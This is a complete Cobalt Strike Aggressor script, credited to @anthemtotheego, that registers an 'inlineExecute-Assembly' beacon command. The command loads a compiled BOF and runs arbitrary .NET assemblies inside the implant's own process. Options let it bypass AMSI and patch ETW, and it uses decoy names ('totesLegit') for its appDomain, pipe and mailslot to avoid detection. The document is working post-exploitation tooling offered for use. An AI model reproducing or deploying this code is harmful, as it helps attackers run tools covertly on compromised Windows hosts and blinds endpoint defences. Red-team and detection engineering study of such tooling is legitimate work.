#Register command beacon_command_register( "inlineExecute-Assembly", "Load CLR if not already loaded and inject .NET assembly into current beacon process. Avoids creating a new sacraficial process via fork and run technique", "Synopsis: inlineExecute-Assembly --dotnetassembly /path/to/Assembly.exe --assemblyargs My Args To Pass --amsi --etw"); global('$etw $amsi $appDomain $version'); #Global vars don't change $etw = 0; $revertETW = 0; $amsi = 0; $mailSlot = 0; $entryPoint = 1; #Default values set here - if you don't want to use flags to change -> change here $appDomain = "totesLegit"; $pipeName = "totesLegit"; $mailSlotName = "totesLegit"; alias inlineExecute-Assembly { #-------------------------------------- Extract/Parse Arguments --------------------------------------# $data = substr($0, 23); @args = split(' ', $data); local('$_amsi $_etw $_revertETW $_appDomain $_dotNetAssembly $_version $_assemblyargs $_assemblyWithArgs $_entryPoint $_mailSlot $_mailSlotName $_mailSlotNameArgs $_pipeName $_pipeNameArgs'); $_amsi = ""; $_etw = ""; $_revertETW = ""; $_mailSlot = ""; $_mailSlotName = ""; $_mailSlotNameArgs = ""; $_pipeName = ""; $_pipeNameArgs = ""; $_entryPoint = ""; $_appDomain = ""; $_appDomainArgs = ""; $_dotNetAssembly = ""; $_dotNetAssemblyArgs = ""; $_assemblyWithArgs = ""; @CliOptions = @("--amsi", "--etw", "--revertetw", "--dotnetassembly", "--assemblyargs", "--appdomain", "--pipe", "--mailslot", "--main"); for ($i = 0; $i < size(@args); $i++){ if (@args[$i] iswm "--etw"){ $_etw = 1; }else if (@args[$i] iswm "--amsi"){ $_amsi = 1; }else if (@args[$i] iswm "--revertetw"){ $_revertETW = 1; }else if (@args[$i] iswm "--main"){ $_entryPoint = int(0); }else if (@args[$i] iswm "--dotnetassembly"){ $i = $i + 1; $_dotNetAssembly = @args[$i]; }else if (@args[$i] iswm "--assemblyargs"){ $i = $i + 1; $count = 0; for ($j = $i; $j < size(@args); $j++){ if(@args[$j] in @CliOptions){ break; }else{ @_dotNetAssemblyArgs[$count] = @args[$j]; #Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces). if(('"' isin @_dotNetAssemblyArgs[$count] || "'" isin @_dotNetAssemblyArgs[$count])){ $k = 0; $j = $j + 1; for($k = $j; $k < size(@args); $k++){ if(lindexOf(@_dotNetAssemblyArgs[$count], '"') == (strlen(@_dotNetAssemblyArgs[$count]) - 1) || lindexOf(@_dotNetAssemblyArgs[$count], "'") == (strlen(@_dotNetAssemblyArgs[$count]) - 1)){ $k = $k - 1; break; } if('"' isin @args[$k] || "'" isin @args[$k]){ @_dotNetAssemblyArgs[$count] = @_dotNetAssemblyArgs[$count]." ".@args[$k]; break; }else{ @_dotNetAssemblyArgs[$count] = @_dotNetAssemblyArgs[$count]." ".@args[$k]; } } $j = $k; $i = $k; } $count = $count + 1; } } }else if (@args[$i] iswm "--appdomain"){ $i = $i + 1; $count = 0; for ($j = $i; $j < size(@args); $j++){ if(@args[$j] in @CliOptions){ break; }else{ @_appDomain[$count] = @args[$j]; #Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces). if(('"' isin @_appDomain[$count] || "'" isin @_appDomain[$count])){ $k = 0; $j = $j + 1; for($k = $j; $k < size(@args); $k++){ if(lindexOf(@_appDomain[$count], '"') == (strlen(@_appDomain[$count]) - 1) || lindexOf(@_appDomain[$count], "'") == (strlen(@_appDomain[$count]) - 1)){ $k = $k - 1; break; } if('"' isin @args[$k] || "'" isin @args[$k]){ @_appDomain[$count] = @_appDomain[$count]." ".@args[$k]; break; }else{ @_appDomain[$count] = @_appDomain[$count]." ".@args[$k]; } } $j = $k; $i = $k; } $count = $count + 1; } } }else if (@args[$i] iswm "--mailslot"){ $_mailSlot = 1; $i = $i + 1; $count = 0; for ($j = $i; $j < size(@args); $j++){ if(@args[$j] in @CliOptions){ break; }else{ @_mailSlotName[$count] = @args[$j]; #Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces). if(('"' isin @_mailSlotName[$count] || "'" isin @_mailSlotName[$count])){ $k = 0; $j = $j + 1; for($k = $j; $k < size(@args); $k++){ if(lindexOf(@_mailSlotName[$count], '"') == (strlen(@_mailSlotName[$count]) - 1) || lindexOf(@_mailSlotName[$count], "'") == (strlen(@_mailSlotName[$count]) - 1)){ $k = $k - 1; break; } if('"' isin @args[$k] || "'" isin @args[$k]){ @_mailSlotName[$count] = @_mailSlotName[$count]." ".@args[$k]; break; }else{ @_mailSlotName[$count] = @_mailSlotName[$count]." ".@args[$k]; } } $j = $k; $i = $k; } $count = $count + 1; } } }else if (@args[$i] iswm "--pipe"){ $i = $i + 1; $count = 0; for ($j = $i; $j < size(@args); $j++){ if(@args[$j] in @CliOptions){ break; }else{ @_pipeName[$count] = @args[$j]; #Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces). if(('"' isin @_pipeName[$count] || "'" isin @_pipeName[$count])){ $k = 0; $j = $j + 1; for($k = $j; $k < size(@args); $k++){ if(lindexOf(@_pipeName[$count], '"') == (strlen(@_pipeName[$count]) - 1) || lindexOf(@_pipeName[$count], "'") == (strlen(@_pipeName[$count]) - 1)){ $k = $k - 1; break; } if('"' isin @args[$k] || "'" isin @args[$k]){ @_pipeName[$count] = @_pipeName[$count]." ".@args[$k]; break; }else{ @_pipeName[$count] = @_pipeName[$count]." ".@args[$k]; } } $j = $k; $i = $k; } $count = $count + 1; } } } } #------------------------------------------------------------------------------------------------------# #-------------------------------------- Appending .NET assembly arguments --------------------------------------# #Appending .NET assembly arguments to $_assemblyWithArgs var (separated by " ") for ($i = 0; $i < size(@_dotNetAssemblyArgs); $i++){ if (@_dotNetAssemblyArgs[$i] ne "") { if ($_assemblyWithArgs ne "") { $_assemblyWithArgs = $_assemblyWithArgs." ".@_dotNetAssemblyArgs[$i]; } else { $_assemblyWithArgs = @_dotNetAssemblyArgs[$i]; } } } #---------------------------------------------------------------------------------------------------------------# #-------------------------------------- Appending appDomain arguments --------------------------------------# #Appending appDomain arguments to $_appDomainArgs var (separated by " ") for ($i = 0; $i < size(@_appDomain); $i++){ if (@_appDomain[$i] ne "") { if ($_appDomainArgs ne "") { $_appDomainArgs = $_appDomainArgs." ".@_appDomain[$i]; } else { $_appDomainArgs = @_appDomain[$i]; } } } #-------------------------------------- Appending mailSlotName arguments --------------------------------------# #Appending mailSlot arguments to $_mailSlotNameArgs var (separated by " ") for ($i = 0; $i < size(@_mailSlotName); $i++){ if (@_mailSlotName[$i] ne "") { if ($_mailSlotNameArgs ne "") { $_mailSlotNameArgs = $_mailSlotNameArgs." ".@_mailSlotName[$i]; } else { $_mailSlotNameArgs = @_mailSlotName[$i]; } } } #-------------------------------------- Appending pipeName arguments --------------------------------------# #Appending pipeName arguments to $_pipeNameArgs var (separated by " ") for ($i = 0; $i < size(@_pipeName); $i++){ if (@_pipeName[$i] ne "") { if ($_pipeNameArgs ne "") { $_pipeNameArgs = $_pipeNameArgs." ".@_pipeName[$i]; } else { $_pipeNameArgs = @_pipeName[$i]; } } } if ($_appDomainArgs eq "") { $_appDomainArgs = $appDomain; } if ($_mailSlotNameArgs eq "") { $_mailSlotNameArgs = $mailSlotName; } if ($_pipeNameArgs eq "") { $_pipeNameArgs = $pipeName; } if ($_amsi == "") { $_amsi = $amsi; } if ($_etw == "") { $_etw = $etw; } if ($_revertETW == "") { $_revertETW = $revertETW; } if ($_entryPoint ne int(0)) { $_entryPoint = $entryPoint; } if ($_mailSlot == "") { $_mailSlot = $mailSlot; } #---------------------------------------------------------------------------------------------------------------# #-------------------------------------- Load BOF --------------------------------------# # figure out the arch of this session $barch = barch($1); # read in the right BOF file $handle = openf(script_resource("inlineExecute-Assembly $+ $barch $+ .o")); $bof = readb($handle, -1); closef($handle); if(strlen($bof) < 1) { berror($1,"Error: BOF bin could not be found. Please ensure the compiled BOF (.o file) exists in the same folder as this aggressor script"); return; } #-----------------------------------------------------------------------------------------------# #-------------------------------------- Error Handling --------------------------------------# $assemblyPath = $_dotNetAssembly; $bid = $1; if ($assemblyPath eq "") { berror($bid, "Run 'help inlineExecute-Assembly'\n"); return; } if (!-exists $assemblyPath || !-isFile $assemblyPath){ berror($bid, "File ".$assemblyPath." doesn't exist\n"); return; } #-----------------------------------------------------------------------------------------------# #-------------------------------------- Convert .NET assembly to bytes --------------------------------------# #Reading assembly bytes and get the size in bytes $fileHandle = openf($_dotNetAssembly); $assemblyLength = lof($_dotNetAssembly); $assemblyBytes = readb($fileHandle, -1); closef($fileHandle); #---------------------------------------------------------------------------------------------------------------------# #-------------------------------------- Package and ship it --------------------------------------# # pack our arguments $bofArgs = bof_pack($1, "ziiiiizzzib", $_appDomainArgs, $_amsi, $_etw, $_revertETW, $_mailSlot, $_entryPoint, $_mailSlotNameArgs, $_pipeNameArgs, $_assemblyWithArgs, $assemblyLength, $assemblyBytes); # announce what we're doing btask($1, "Running inlineExecute-Assembly by (@anthemtotheego)"); # execute it. beacon_inline_execute($1, $bof, "go", $bofArgs); clear(@_assemblyWithArgs); clear(@_dotNetAssemblyArgs); clear(@_appDomainArgs); clear(@_appDomain); clear(@_mailSlotNameArgs); clear(@_mailSlotName); clear(@_pipeNameArgs); clear(@_pipeName); #------------------------------------------------------------------------------------------------------------------------------# }